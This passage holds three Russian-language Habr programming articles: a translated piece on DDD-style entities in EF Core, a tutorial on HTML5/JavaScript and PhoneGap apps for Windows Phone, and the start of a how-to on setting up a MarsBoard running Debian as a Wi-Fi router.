book.AuthorsLink.Add(new BookAuthor
{
Book = book, Author = authorDict[author], Order = i++
});
}
```
### b. В DDD-стиле
```
var authors = bookInfoJson.authors.Select(x => authorDict[x]).ToList();
var book = new Book(bookInfoJson.title,
bookInfoJson.description,
DecodePubishDate(bookInfoJson.publishedDate),
bookInfoJson.publisher,
((decimal?)bookInfoJson.saleInfoListPriceAmount) ?? DefaultBookPrice,
bookInfoJson.imageLinksThumbnail,
authors);
```
Код конструктора класса Book
```
public Book(string title, string description, DateTime publishedOn,
string publisher, decimal price, string imageUrl,
ICollection authors)
{
if (string.IsNullOrWhiteSpace(title))
throw new ArgumentNullException(nameof(title));
Title = title;
Description = description;
PublishedOn = publishedOn;
Publisher = publisher;
ActualPrice = price;
OrgPrice = price;
ImageUrl = imageUrl;
\_reviews = new HashSet();
if (authors == null || !authors.Any())
throw new ArgumentException(
"You must have at least one Author for a book", nameof(authors));
byte order = 0;
\_authorsLink = new HashSet(
authors.Select(a => new BookAuthor(this, a, order++)));
}
```
На что обратить внимание:
1. Строки 1-2: конструктор заставляет вас передать все необходимые для правильной инициализации данные.
2. Строки 5, 6 и 17-9: код содержит несколько проверок бизнес-правил. В данном конкретном случае нарушение правил рассматривается как ошибка в коде, поэтому в случае нарушения будет выброшено исключение. Если бы пользователь мог исправить эти ошибки, возможно, я бы использовал статическую фабрику, возвращающую Status (прим. переводчика. Я бы использовал Option или Result, как более широко-употребимое название). Status – это тип, возвращающий список ошибок.
3. Строки 21-23: Связь BookAuthor создается в конструкторе. Конструктор BookAuthor может быть объявлен с уровнем доступа internal. Таким образом мы сможем предотвратить создание связей вне DAL.
Как вы могли заметить, объем кода для создания сущности в обоих случаях примерно одинаков. Так почему же DDD-стиль лучше? Стиль DDD лучше тем, что:
1. Контролирует доступ. Случайное изменение свойства исключено. Любое изменение происходит через конструктор или публичный метод с соответствующим названием. Совершенно очевидно, что происходит.
2. Соответствует DRY (don’t repeat yourself). Вам может потребоваться создавать экземпляры Book в нескольких местах. Код присвоения находится в конструкторе и вам не придется повторять его в нескольких местах.
3. Скрывает сложность. В классе Book есть два свойства: ActualPrice и OrgPrice. Оба этих значения должны быть равны при создании новой книги. В стандартном подходе каждый разработчик должен знать об этом. В DDD-подходе достаточно, чтобы об этом знал разработчик класса Book. Остальные узнают об этом правиле, потому что оно явным образом записано в конструкторе.
4. Скрывает создание агрегата. В стандартном подходе разработчик должен вручную создать экземпляр BookAuthor. В DDD-стиле эта сложность инкапсулирована для вызывающего кода.
5. Позволяет свойствам иметь приватный доступ на запись
6. Одна из причин использования DDD – «запереть» (lock down) сущности, т.е. не давать возможности изменять свойства напрямую. Давайте сравним операцию изменения с использованием DDD и без.
### Сравнение изменения свойств
Одним из главных преимуществ сущностей в стиле DDD Эрик Эванс называет следующее: «Они явно описывают правила доступа к объекту» (They communicate design decisions about object access).
> Прим. переводчика. Оригинальная фраза труднопереводима на русский язык. В данном случае design decisions – это принятые решения о том, как ПО должно работать. Имеется в виду, что решения обсуждались и подтверждены. Код с конструкторами, корректно инициализирующими сущности и методами с корректными названиями, отражающими смысл операций явным образом сообщает разработчику о том, что присвоения определенных значений сделаны с умыслом, а не по ошибке и не являются прихотью другого разработчика или деталями реализации.
Я понимаю эту фразу следующим образом.
1. Сделайте очевидным, как изменять данные внутри сущности и какие данные должны изменяться вместе.
2. Сделайте очевидным когда вы не должны изменять определенные данные в сущности.
Давайте сравним два подхода. Первый пример – простой, а второй – посложнее.
### 1. Изменение даты публикации
Допустим, мы хотим сначала поработать с черновиком книги и лишь затем опубликовать. В момент создания черновика устанавливается ориентировочная дата публикации, которая весьма вероятно, будет изменена в процессе редактирования. Для хранения даты публикации будем использовать свойство PublishedOn.
### a. Сущность с публичными свойствами
```
var book = context.Find(dto.BookId);
book.PublishedOn = dto.PublishedOn;
context.SaveChanges();
```
### b. Сущность в DDD-стиле
В DDD-стиле setter свойства объявлен приватным, поэтому мы будем использовать специализированный метод доступа.
```
var book = context.Find(dto.BookId);
book.UpdatePublishedOn( dto.PublishedOn);
context.SaveChanges();
```
Эти два случая почти не отличаются. DDD-вариант даже немного длиннее. Но разница все-же есть. В DDD-стиле вы точно знаете, что дата публикации может быть изменена, потому что существует метод с очевидным названием. Вы также знаете, что вы не можете изменить издателя, потому что для свойства Publisher нет соответствующего метода для изменения. Эта информация будет полезна любому программисту, работающего с классом книги.
### 2. Управление скидкой для книги
Другое требование — мы должны иметь возможность управлять скидками. Скидка состоит из новой цены и комментария, например «50% до конца этой недели!»
Реализация этого правила простая, но не слишком очевидная.
1. Свойство OrgPrice — это цена без учета скидки.
2. ActualPrice — текущая цена, по которой продается книга. Если скидка действует, то текущая цена будет отличаться от OrgPrice на размер скидки. Если нет, то значение свойств будет равно.
3. Свойство PromotionText должно содержать текст скидки, если скидка применена или null, если в данный момент скидка не применяется.
Правила довольно очевидны для того, кто их реализовывал. Однако для другого разработчика, скажем, разрабатывающего UI для добавления скидки. Добавление методов AddPromotion и RemovePromotion в класс сущности скрывает детали реализации. Теперь у другого разработчика есть публичные методы с соответствующими названиями. Семантика использования методов — очевидна.
Взглянем на реализацию методов AddPromotion и RemovePromotion.
```
public IGenericErrorHandler AddPromotion(decimal newPrice, string promotionalText)
{
var status = new GenericErrorHandler();
if (string.IsNullOrWhiteSpace(promotionalText))
{
status.AddError(
"You must provide some text to go with the promotion.",
nameof(PromotionalText));
return status;
}
ActualPrice = newPrice;
PromotionalText = promotionalText;
return status;
}
```
На что обратить внимание:
1. Строки 4 -10: добавление комментария PromotionalText обязательно. Метод проверяет, что текст не пустой. Т.к. Эту ошибку пользователь может исправить метод возвращает список ошибок для исправления.
2. Строки 12, 13: метод устанавливает значения свойств в соответствие с реализацией, которую выбрал разработчик. Пользователю метода AddPromotion не обязательно знать их. Чтобы добавить скидку достаточно написать просто:
```
var book = context.Find(dto.BookId);
var status = book.AddPromotion(newPrice, promotionText);
if (!status.HasErrors)
context.SaveChanges();
return status;
```
Метод RemovePromotion гораздо проще: он не предполагает обработки ошибок. Поэтому возвращаемое значение просто void.
```
public void RemovePromotion()
{
ActualPrice = OrgPrice;
PromotionalText = null;
}
```
Эти два примера сильно отличаются друг от друга. В первом примере изменение свойства PublishOn на столько простое, что стандартная реализация вполне подходит. Во втором примере детали реализации не очевидны для того, кто не работал с классом Book. Во втором случае DDD-стиль со специализированными методами доступа скрывает детали реализации и делает жизнь других разработчиков проще. Также, во втором примере код содержит бизнес-логику. Пока объём логики небольшой мы можем хранить ее прямо в методах доступа и возвращать список ошибок, если метод используется не правильно.
### 3. Работа с агрегатом – свойство-коллекция Reviews
DDD предлагает работать с агрегатом только через корень. В нашем случае свойство Reviews создает проблемы. Даже если setter будет объявлен приватным, разработчик все-равно может добавить или удалить объекты с помощью методов add и remove или даже вызвать метод clear, чтобы очистить коллекцию целиком. Здесь нам поможет новая функция EF Core — [backing fields](https://docs.microsoft.com/ru-ru/ef/core/modeling/backing-field).
Backing field позволяет разработчику инкапсулировать настоящую коллекцию и предоставить публичный доступ к интерфейсной ссылке IEnumerable. Интерфейс IEnumerable не предоставляет методов add, remove или clear. В коде ниже пример использования backing fields.
```
public class Book
{
private HashSet \_reviews;
public IEnumerable Reviews => \_reviews?.ToList();
//… rest of code not shown
}
```
Чтобы это сработало нужно рассказать EF Core что при чтении из бд нужно записывать в приватное поле, а не публичное свойство. Код конфигурации показан ниже.
```
protected override void OnModelCreating
(ModelBuilder modelBuilder)
{
modelBuilder.Entity()
.FindNavigation(nameof(Book.Reviews))
.SetPropertyAccessMode(PropertyAccessMode.Field);
//… other non-review configurations left out
}
```
Для работы с обзорами я добавил два метода: AddReview и RemoveReview классу книги. Метод AddReview более интересен. Вот его код:
```
public void AddReview(int numStars, string comment, string voterName,
DbContext context = null)
{
if (_reviews != null)
{
_reviews.Add(new Review(numStars, comment, voterName));
}
else if (context == null)
{
throw new ArgumentNullException(nameof(context),
"You must provide a context if the Reviews collection isn't valid.");
}
else if (context.Entry(this).IsKeySet)
{
context.Add(new Review(numStars, comment, voterName, BookId));
}
else
{
throw new InvalidOperationException("Could not add a new review.");
}
}
```
На что обратить внимание:
1. Строки 4-7: я намеренно не инициализирую поле \_reviews в приватном беспараметрическом конструкторе, который EF Core использует, когда загружает сущности из БД. Это позволяет моему коду определить была ли загружена коллекция с помощью метода .Include(p => p.Reviews). В публичном конструкторе я инициализирую поле, так что NRE при работе с созданной сущностью не произойдет.
2. Строки 8-12: Если коллекция Reviews не была загружена код должен использовать DbContext для инициализации.
3. Строки 13-16: Если книга была успешно создана и содержит ID, то я использую другую технику добавления обзора: просто устанавливаю foreign key в экземпляре класса Review и записываю в БД. Более подробно об этом написано в секции 3.4.5 моей книги.
4. Строка 19: Если мы оказались здесь, то есть какая-то проблема с логикой кода. Поэтому я выбрасываю исключение.
Я спроектировал все мои методы доступа для обратил случая, когда загружена только корневая сущность. Как обновить агрегат остается на усмотрение методов. Возможно потребуется загрузка дополнительных сущностей.
### Заключение
Чтобы создавать сущности в DDD-стиле с EF Core необходимо придерживаться следующих правил:
1. Создавайте публичные конструкторы для создания корректно инициализированных экземпляров классов. Если в процессе создания могут произойти ошибки, которые пользователь может исправить, создавайте объект не с помощью публичного конструктора, а с помощью фабричного метода, возвращающего Status, где T – тип создаваемой сущности
2. Все свойства setter’ы свойств приватные. Т.е. все свойства – read-only за пределами класса.
3. Для навигационных свойств коллекций объявляйте backing fields, а тип публичного свойства объявляйте IEnumerable. Это не позволит другим разработчикам неконтролируемо изменять коллекции
4. Вместо публичных setter’ов создавайте публичные методы для всех разрешенных операций изменения объекта. Эти методы должны возвращать void, если операция не может завершиться ошибкой, которую пользователь может исправить или Status — если может.
5. Рамки ответственности сущности имеет значение. Я думаю, что лучше всего ограничить сущности изменением самого класса и других классов внутри агрегата, но не за пределами. Правила валидации должны быть ограничены проверками правильности создания и изменения состояния сущностей. Т.е. я не проверяю такие бизнес-правила, как остатки на складе. Для этого существует специальный код бизнес-логики.
6. Методы, изменяющие состояния должны предполагать, что загружен только корень агрегации. Если методу требуется загрузка других данных, он должен позаботиться об этом самостоятельно.
7. Методы, изменяющие состояния должны предполагать, что загружен только корень агрегации. Если методу требуется загрузка других данных, он должен позаботиться об этом самостоятельно. Такой подход упрощает использование сущностей другими разработчиками.
### Плюсы и минусы DDD-сущностей при работе с EF Core
Мне нравится критический подход к любому паттерну или архитектуре. Вот, что я думаю по поводу использования DDD-сущностей.
### Плюсы
1. Использование специализированных методов для изменения состояния – более чистый подход. Это точно хорошее решение, просто потому, что правильно-названные методы гораздо лучше раскрывают намерения кода и делают очевидным, что можно менять, а что нет. Кроме того методы могут вернуть список ошибок, если пользователь может их исправить.
2. Изменение агрегатов только через корень тоже хорошо работает
3. Детали реализации связи один-ко-многим между классами Book и Review теперь скрыты для пользователя. Инкапсуляция – это базовый принцип ООП.
4. Использование специализированных конструкторов позволяет убедиться в том, что сущности созданы и гарантировано корректно инициализированы
5. Перемещение кода инициализации в конструктор значительно снижает вероятность того, что разработчик не верно интерпретирует то, как класс должен быть инициализирован.
### Минусы
1. Мой подход содержит зависимости от реализации EF Core.
2. Некоторые люди даже называют это анти-паттерном. Проблема в том, что теперь сущности предметной модели зависят от кода доступа к базе данных. В терминах DDD – это плохо. Я осознал, что если бы я не сделал этого, то мне бы пришлось полагаться на то, что вызывающий код знает о том, что должно быть загружено. Такой подход ломает принцип разделения ответственности (separation of concerns).
3. DDD заставляет писать больше кода.
Действительно ли это стоит того в простых случаях, вроде обновления даты публикации книги?
Как вы могли заметить мне нравится DDD-подход. Однако, мне потребовалось какое-то время, чтобы правильно его структурировать, но на данный момент подход уже устаканился и я применяю его в проектах, над которыми работаю. Я уже успел попробовать этот стиль а небольших проектах и доволен, но все плюсы и минусы еще предстоит узнать, когда я применю его в больших проектах.
Мое решение разрешить использовать код, специфичный для EFCore в аргументах методов сущностей предметной модели было не простым. Я пытался не допустить этого, но в итоге пришел к тому, что вызывающему коду приходилось загружать множество навигационных свойств. И если этого не сделать, то изменение просто не будет применено без каких-либо ошибок (особенно в отношениях один-к-одному). Это было для меня не приемлемо, поэтому я разрешил использование EF Core внутри некоторых методов (но не конструкторов).
Другая плохая сторона в том, что DDD заставляет писать значительно больше кода для CRUD-операций. Я до сих пор не уверен, следует ли продолжать есть кактус и писать отдельные методы для всех свойств или же в некоторых случаях стоит отойти от столь радикального пуританства. Я знаю, что есть просто вагон и маленькая тележка скучного CRUD’а, который проще написать напрямую. Только работа над реальными проектам покажет, что лучше.
### Другие аспекты DDD, не раскрытые в этой статье
Статья итак получилось чересчур длинной, поэтому я собираюсь закончить здесь. Но, это значит, что есть еще много нераскрытого материла. О чем-то я уже писал, о чем-то я буду писать в ближайшем будущем. Вот, что осталось за бортом:
1. **Бизнес-логика и DDD.** Я использую концепции DDD в коде бизнес-логики уже несколько лет и с использованием новых возможностей EF Core ожидаю, что смогу перенести часть логики в код сущностей. Прочитайте статью «Снова об архитектуре слоя бизнес-логики с Entity Framework (Core и v6)»
2. **DDD и паттерн «репозиторий».** Эрик Эванс рекомендует использовать репозиторий для того, чтобы абстрагировать доступ к данным. Я пришел к выводу, что использование паттерна «репозиторий» вместе с EF Core – плохая затея. Почему? Читайте в той-же самой статье.
3. **Несколько DBContext’ов / ограниченных контекстов (bounded contexts).** Я долго думал о разделении базы данных на несколько DbContext’ов. Например, создать отдельный BookContext для работы только с классом Book и его агрегатом и еще один отдельный OrderContext, для обработки заказов. Думаю, идея «ограниченных контекстов» очень важна, особенно масштабирования приложений по мере роста. Пока я еще не выделили паттерна для этой задачи, но ожидаю написать статью на эту тему в будущем.
Весь код этой статьи доступен в [репозитории GenericBizRunner на GitHub](https://github.com/JonPSmith/EfCore.GenericBizRunner). Этот репозиторий содержит пример приложения ASP.NET Core со специализированными методами доступа для изменения класса Book. Вы можете клонировать репозиторий и запустить приложение локально. Оно использует in-memory Sqlite в качестве базы данных, так что должно запуститься на любой инфраструктуре.
Счастливой разработки! | https://habr.com/ru/post/432410/ | null | ru | null |
# Использование HTML5 и JavaScript для разработки приложений под Windows Phone
Cегодня я хочу рассказать о том, какие дополнительные возможность разработки приложений под Windows Phone есть у владеющих HTML5 и JavaScript.
Прежде всего разберёмся с тем, как это возможно. Все возможности, связанные с HTML5 + JS разработкой для Windows Phone связаны с присутствием на борту браузера Internet Explorer, который по поддерживаемому функционалу аналогичен настольному Internet Explorer 9. И это понятно, потому что они имеют общую базу кода. Ниже представлены основные (но не все) возможности, поддерживаемые браузером.
Наличие мобильного браузера с такой поддержкой уже предоставляет базовую возможность присутствия на мобильной платформе: создание богатого возможностями мобильного сайта. Но ведь мы хотели писать приложения! Разрабатывать приложения позволяет доступный разработчикам элемент управления WebBrowser:
```
```
Наличие полнофункционально мобильного сайта и возможность вставить в своё приложение элемент управления WebBrowes приводит нас к **первому типу HTML5 приложений для Windows Phone: приложениям, которое хостят мобильный веб-сайт в элементе управления WebBrowser и добавляют дополнительно сервисные возможности, связанные с платформой, например, Push Notification**.
Давайте напишем пример такого приложения. Хостить будем мобильный сайт Яндекса. Для простоты не будем выдумывать дополнительные сервисы, а добавим ApplicationBar и несколько кнопок, которые будут предоставлять доступ к наиболее востребованному по нашему мнению функционалу.
Как обычно, начинаем с создания приложения на основе шаблона Windows Phone Application. Используя NuGet, добавим в приложение пакет Silverlight for Windows Phone Toolkit. После этого, на основную страницу приложения MainPaige.xaml добавим элемент управления WebBrowser и PerformanceProgressBar, чтобы показывать процесс загрузки страницы. В результате XAML код будет выглядеть следующим образом:
```
```
Не забудье доавить ссылку на пространство имён, чтобы использовать элементы управления из Silverlight for Windows Phone Toolkit:
```
xmlns:toolkit="clr-namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone.Controls.Toolkit"
```
Чтобы сделать приложение в стиле Windows Phone и добавить в него кнопок, я раскоментировал ApplicationBar, и воспользовался информацие из статьи [Где взять иконки для Windows Phone приложений](http://blogs.msdn.com/b/kichinsky/archive/2011/10/24/where-to-get-icons-for-windows-phone.aspx)?, чтобы найти необходимые моему приложению иконки. Также я сразу добавил к кнопкам на ApplicationBar обработчики событий. В результате XAML код моей страницы MainPage.xaml моего приложения стал выглядеть следующим образом:
```
```
Иконки были добавлиены в папку icons в проекте, тип содержания установлен в Content, Copy to Output в Copy if newer. Само приложение при запуске теперь выглядит следующим образом:
Добавим код, который будет при загрузке приложения открывать мобильную страницу Яндкса, по нажатии на кнопку с домиком, открыать её же, а при нажатии на самолёт – отервать мобильную страницу с расписание самолётов.
```
// Constructor
public MainPage()
{
InitializeComponent();
Loaded += new RoutedEventHandler(MainPage_Loaded);
}
void MainPage_Loaded(object sender, RoutedEventArgs e)
{
Yandex.Navigate(new Uri("http://m.yandex.ru"));
}
private void ApplicationBarHomeButton_Click(object sender, EventArgs e)
{
Yandex.Navigate(new Uri("http://m.yandex.ru"));
}
private void ApplicationBarFlightsButton_Click(object sender, EventArgs e)
{
Yandex.Navigate(new Uri("http://m.rasp.yandex.ru/station?plane=1"));
}
```
Теперь приложение при запуске открывает мобильную страницу Яндекса, а при нажатии на кнопку с самолётом, открывает мобильную страницу с расписанием самолётов:
Осталось доавить обработку кнопок вперёд/назад и отображение ProgressBar при навигации на страницу. Для того, чтобы добавить отображение ProgressBar, нужно доавить оброботчики событий Navigating и Navigated элемента управления WebBrowser:
```
void MainPage_Loaded(object sender, RoutedEventArgs e)
{
Yandex.Navigated += new EventHandler(Yandex\_Navigated);
Yandex.Navigating += new EventHandler(Yandex\_Navigating);
Yandex.Navigate(new Uri(http://m.yandex.ru)); }
void Yandex\_Navigating(object sender, NavigatingEventArgs e)
{
Progress.IsIndeterminate = true;
}
void Yandex\_Navigated(object sender, System.Windows.Navigation.NavigationEventArgs e)
{
Progress.IsIndeterminate = false;
}
```
Чтобы обрабоать нажатия кнопок вперёд и назад, воспользуемся возмостями JavaScript и объекта history, вместе с возможностью вызвать его из кода приложения:
```
private void ApplicationBarBackButton_Click(object sender, EventArgs e)
{
Yandex.InvokeScript("eval", "history.go(-1)");
}
private void ApplicationBarForwardButton_Click(object sender, EventArgs e)
{
Yandex.InvokeScript("eval", "history.go(1)");
}
```
Теперь у нас есть собственное приложение “мобильный Яндекс” с кнопкой домой и расписанием самолётов. Хорошим завершением упражнения будет добавление определения возможности перехода по кнопкам назад/вперёд, чтобы иметь их активными только если переход можно действительно выполнить.
Это приложение использует удалёный HTML5+JS контент, логичным следующим шагом будет **второй тип HTML5 приложений для Windows Phone, которое использует локальный контент на телефоне, не выходя, или минимально выходя, за пределы элемента управления WebBrowser**.
Давайте напишем пример такого приложения. Это будте локальная HTML5 страничка, активное содержание которой будет генериться JS. Чтобы упростить разработку, будем использовать библиотеку jQuery.
Как обычно, начинаем с создания приложения на основе шаблона Windows Phone Application. Чтобы не писать HTML5 приложение самостоятельно, я взял SVG пример из [доклада Кости Кичинского на TechEd Russia 2011](http://www.microsoft.com/ru-ru/events/teched/Catalog/Vindovs-Phone-7-i-HTML5).
В проекте создадим папку content и добавим в неё файлы **svgdemo.htm** и **jquery-1.7.min.js**. В файле svgdemo.html измените путь к скрипту jquery-1.7.min.js, так, чтобы тек script выглядел следубщим образом:
```
```
Также необходимо установить у файлов svgdemo.htm и jquery-1.7.min.js Build Action в Content и Copy to Output в Copy if newer.
Теперь, добавим элемент управления WebBrowser на главную страницу приложения так, чтобы он заполнял всё пространство. В результате XAML код будет выглядеть следующим образом:
```
```
На первый взгляд, собственно, разработка закончена (с учётом того, что мы взяли готовое HTML5 приложение), однако ещё остаётся один тонкий момент. Дело в том, что наш файл HTML и JS после развёртывания приложения будут недоступны элементу управления WebBrowser, так как они будут находиться не в Isolated Storage. Поэтому нам, при запуске приложения необходимо развернуть наше HTML5 приложение в Isolated Storage. Будем для этого использовать пример кода из MSDN, изменив в нём набор файлов на собственный:
```
private void SaveFilesToIsoStore()
{
//These files must match what is included in the application package,
//or BinaryStream.Dispose below will throw an exception.
string[] files = {
"content/svgdemo.htm",
"content/jquery-1.7.min.js"
};
IsolatedStorageFile isoStore = IsolatedStorageFile.GetUserStoreForApplication();
if (false == isoStore.FileExists(files[0]))
{
foreach (string f in files)
{
StreamResourceInfo sr = Application.GetResourceStream(new Uri(f, UriKind.Relative));
using (BinaryReader br = new BinaryReader(sr.Stream))
{
byte[] data = br.ReadBytes((int)sr.Stream.Length);
SaveToIsoStore(f, data);
}
}
}
}
private void SaveToIsoStore(string fileName, byte[] data)
{
string strBaseDir = string.Empty;
string delimStr = "/";
char[] delimiter = delimStr.ToCharArray();
string[] dirsPath = fileName.Split(delimiter);
//Get the IsoStore.
IsolatedStorageFile isoStore = IsolatedStorageFile.GetUserStoreForApplication();
//Re-create the directory structure.
for (int i = 0; i < dirsPath.Length - 1; i++)
{
strBaseDir = System.IO.Path.Combine(strBaseDir, dirsPath[i]);
isoStore.CreateDirectory(strBaseDir);
}
//Remove the existing file.
if (isoStore.FileExists(fileName))
{
isoStore.DeleteFile(fileName);
}
//Write the file.
using (BinaryWriter bw = new BinaryWriter(isoStore.CreateFile(fileName)))
{
bw.Write(data);
bw.Close();
}
}
```
Метод SaveFilesToIsoStore() проверяет, что указанных файлов нет в Isolated Storage и копирует их, используя вспомогательный метод SaveToIsoStore, сохраняя иерархию директорий.
Теперь всё готово, что написать код, который закончит инициализацию нашего HTML5-приложения:
```
// Constructor
public MainPage()
{
InitializeComponent();
this.Loaded += new RoutedEventHandler(MainPage_Loaded);
}
void MainPage_Loaded(object sender, RoutedEventArgs e)
{
SaveFilesToIsoStore();
myBrowser.Navigate(new Uri("content/svgdemo.htm", UriKind.Relative));
}
```
Сохраняем файлы на IsolatedStorage и отображем основной HTML5 файл в элементе управления WebBrowser. Работающее приложение выглядит следующим образом:
Мне кажется, что это отличный пример. Спасибо за него Косте ([kichik](https://habrahabr.ru/users/kichik/)).
Если нам уже мало чистого HTML5 + JS и мы хотим выйти за пределы элемента управления браузера, можно говорить о **третьем типе HTML5 приложений для Windows Phone, которые использует не только локальный контент на телефоне, но и выходят, за пределы элемента управления WebBrowser, используя возможности платформы (например, акселерометр)**. Мы можем сделать подобное приложение “с нуля “ самостоятельно, используя возможность оповестить платформу о происходящем (window.external.notify/ScriptNotify) или вызвать JS скрипт из C# кода (WebBrowser.InvokeScript). Но лучше воспользоваться уже существующим решнием – PhoneGap.
На момент написания статьи была доступна версия 1.3. Скачать его можно на сайте [phonegap.com](http://phonegap.com/), там же есть документация. После скачивания, распакуйте архив и из папки Windows Phone скопируйте файлы PhoneGapCustom.zip и PhoneGapStarter.zip в папку Visual Studio 2010\Templates\, выгрузите все запущенные версии Visual Studio. После запуска Visual Studio появится новый тип проектов:
Cоздадим проект на основе PhoneGapStarter. Псмотрим на состав проекта:
Собственно сам PhoneGap – это JS файл phonegap-1.3.0.js и ответная ему .NET CF библиотека WP7GapClassLib. Кроме этого, вместо встроенного элемента WebBrowser используется элемент управления PGView, который находится в той же WP7GapClassLib.
Вспомогательный файл ManifestProcessor.js используется, чтобы перед сборкой приложения обновить файл GapSourceDictionary.xml, который содержит список файлов контента (директория www проекта), которые в дальнейшем, как мы уже знаем из предыдущего примера, необходимо будет развернуть в Isolated Storage.
Напишем простое приложение, которое будет считывать данные акселерометра и отображать его на странице. Для этого заменим содержимое тега файла index.html на следующее:
```
Accelerometer sample
====================
```
Теперь нужно заменить скрипт на этой странице на свой, который работает с акселерометром (код взят из статьи David Rousset, [Tutorial: how to create HTML5 applications on Windows Phone thanks to PhoneGap)](http://blogs.msdn.com/b/davrous/archive/2011/12/23/tutorial-how-to-create-html5-applications-on-windows-phone-thanks-to-phonegap.aspx):
```
document.addEventListener("deviceready", onDeviceReady, false);
// variable to output the current x, y & z values of the accelerometer
var valueX;
var valueY;
var valueZ;
// when PhoneGap tells us everything is ready, start watching the accelerometer
function onDeviceReady() {
valueX = document.getElementById("valueX");
valueY = document.getElementById("valueY");
valueZ = document.getElementById("valueZ");
startWatch();
}
// start monitoring the state of the accelerometer
function startWatch() {
var options = { frequency: 500 };
navigator.accelerometer.watchAcceleration(onSuccess, onError, options);
}
// if the z-axis has moved outside of our sensitivity threshold, move the aarvark's head in the appropriate direction
function onSuccess(acceleration) {
valueX.innerHTML = "X: " + acceleration.x;
valueY.innerHTML = "Y: " + acceleration.y;
valueZ.innerHTML = "Z: " + acceleration.z;
} function onError() {
alert('onError!');
}
```
Собтвенно, единсвенное, что требует объяснения – это объект navigator, который нам позволил подключиться к акселерометру. Это собственно часть PhoneGap. Подробнее о PhoneGap API можно прочитать на сайте [phonegap.com](http://phonegap.com/).
Остаётся только запустить приложение и удостовериться, что оно работает:
В качестве примера возможностей платформы, хочу привести снимок экрана игры на HTML5, из той же статьи David Rousset:
**Проекты примеров**:
[MyYandex](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-58-Code/1321.MyYandex.zip "MyYandex")
[SVG Demo](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-58-Code/1464.IE9HTML.zip)
[PhoneGap Accelerometr Sample](http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-44-58-Code/7220.PhoneGapStarter1.zip)
**Полезные ссылки:**
[Live Tiles и фоновые агенты](http://habrahabr.ru/blogs/windows_mobile/134658/)
[Центр разработки Windows Phone на MSDN (курс по Windows Phone)](http://msdn.microsoft.com/ru-ru/windowsphone)
[Windows Phone SDK 7.1](http://www.microsoft.com/downloads/ru-ru/details.aspx?familyid=0a373422-6680-46a7-89e1-e9a468a14259&displaylang=ru)
[Форумы по разработке под Windows Phone на русском языке](http://social.msdn.microsoft.com/Forums/ru-RU/formobiledevicesru/threads) | https://habr.com/ru/post/136158/ | null | ru | null |
# MarsBoard. Debian. Роутер. HOWTO
Доброго времени суток, сообщество! Я уже [писал](http://habrahabr.ru/post/193390/) по поводу замечательной платы на чипе Allwinner A10 — MarsBoard. Тот пост был чем-то вроде «Getting Started», этот же будет посвящён целиком и полностью превращению этого чуда ~~враждебной~~ техники в полноценную точку доступа WiFi и роутер по совместительству. Для создания точки мне поможет сборка Debian Server (кстати, ядро мы тоже будем собирать:)) и USB-адаптер TP-Link TL7200ND. Тип соединения с провайдером — PPPoE. Заинтересовались? Добро пожаловать под кат.
#### Вместо предисловия
Если честно, как только мне пришла в голову такая идея, я даже и не думал, что придётся встретиться с таким количеством подводных камней. Ну на то он наверное и Linux… К слову, все манипуляции в статье будут производиться с помощью компьютера под управлением ОС Ubuntu и кардридера для SD-карточки. И сразу советую выполнить `sudo su` в том сеансе терминала, из под которого будем производить все действия.
#### Система
Для своих опытов я таки решил отказаться от того приносящего тапочки в постель бульдозера, который предлагает нам офсайт. Удалось найти готовую сборку Debian Server, но пришлось пошаманить с ядром. Но об этом позже. По сути, установка сводится к записи образа на 2(или больше)GB SDCard и установке bootloader'a (с офсайта платы).
Итак, поехали. Подключаем SDCard к компьютеру и командой `fdisk -l` узнаём имя устройства карточки. У меня `/dev/sdc`. Далее устройство карточки в статье буду обозначать как `sdX`. Вместо `X` подставляете свою букву.
Качаем всё необходимое. [Систему](https://romanrm.net/dl/a10/debian/) (рассмотрю действия со сборкой 2013-Sep-20 10:32:33), [uboot.bin](http://www.haoyuelectronics.com/marsboard/u-boot.bin), [sunxi-spl.bin](http://www.haoyuelectronics.com/marsboard/sunxi-spl.bin).
Далее:
1. Переходим в папку со скачанными файлами
2. Пишем систему на карту:
```
bzip2 -dc a10-debian-server-2gb.2013-09-20.img.bz2 > /dev/sdX
```
3. Пишем bootloader:
```
dd if=spl/sunxi-spl.bin of=/dev/sdX bs=1024 seek=8
dd if=u-boot.bin of=/dev/sdX bs=1024 seek=32
```
Систему поставили, отлично, идём дальше.
#### Начало танцев — драйвера
Собственно, с этого и началась вся эпопея запинок о те самые подводные камни. Оказалось, что драйверов для чипов Ralink, на коем работает на адаптер, существует 2 типа — «старые» и «новые». Старые драйвера ставятся автоматом через apt-get и работают «из коробки», но работают только в Managed-режиме, т.е. адаптер может только подключаться к уже существующей точке, но не может сам эту точку создать. Для создания точки требуется перевести адаптер в режим Master, а для этого нужны те самые «новые» драйвера. Только вот эти новые крутые дровишки надо… собирать. Ну что, собирать так собирать.
Идём сюда: [www.ralinktech.com/support.php?s=2](http://www.ralinktech.com/support.php?s=2) и скачиваем RT2870\_Firmware\_V22. Распаковываем и пишем в /lib/firmware **в файловую систему на SDcard**.
Далее качаем compat-wireless: [www.orbit-lab.org/kernel/compat-wireless-2.6](http://www.orbit-lab.org/kernel/compat-wireless-2.6/). Это собственно то, что нам нужно скомпилировать.
Но не всё так просто. Так как я ещё только разбираюсь с Linux, я очень удивился, когда обнаружил, что для компиляции драйверов мне понадобятся исходники моего текущего ядра. И ещё более удивился, когда не нашёл их в системе. Благо автор сборки любезно предоставил конфигурацию ядра, там используемого. Её мы и возьмём, чтобы собрать исходники. Итак, немного отвлечёмся от драйверов и посозерцаем пересборку ядра.
#### Ядро
Как я уже сказал, для сборки дров нам нужны исходники ядра, а для сборки специфичных исходников нам нужны… универсальные исходники linux-sunxi. Также нам нужно будет немного поправить конфигурацию, чтобы вынести встроенные в ядро версии драйверов в модули. Так мы их сможем заменить на compat-wireless.
Первым делом, ставим на компьютер всё необходимое:
```
apt-get install git build-essential fakeroot kernel-package u-boot-tools zlib1g-dev libncurses5-dev
```
И добавляем этот репозиторий в файл `/etc/apt/sources.list`:
```
deb http://www.emdebian.org/debian/ unstable main
```
Далее обновляем apt и ставим кросс-компилятор:
```
apt-get update
apt-get install emdebian-archive-keyring
apt-get install gcc-4.7-arm-linux-gnueabihf
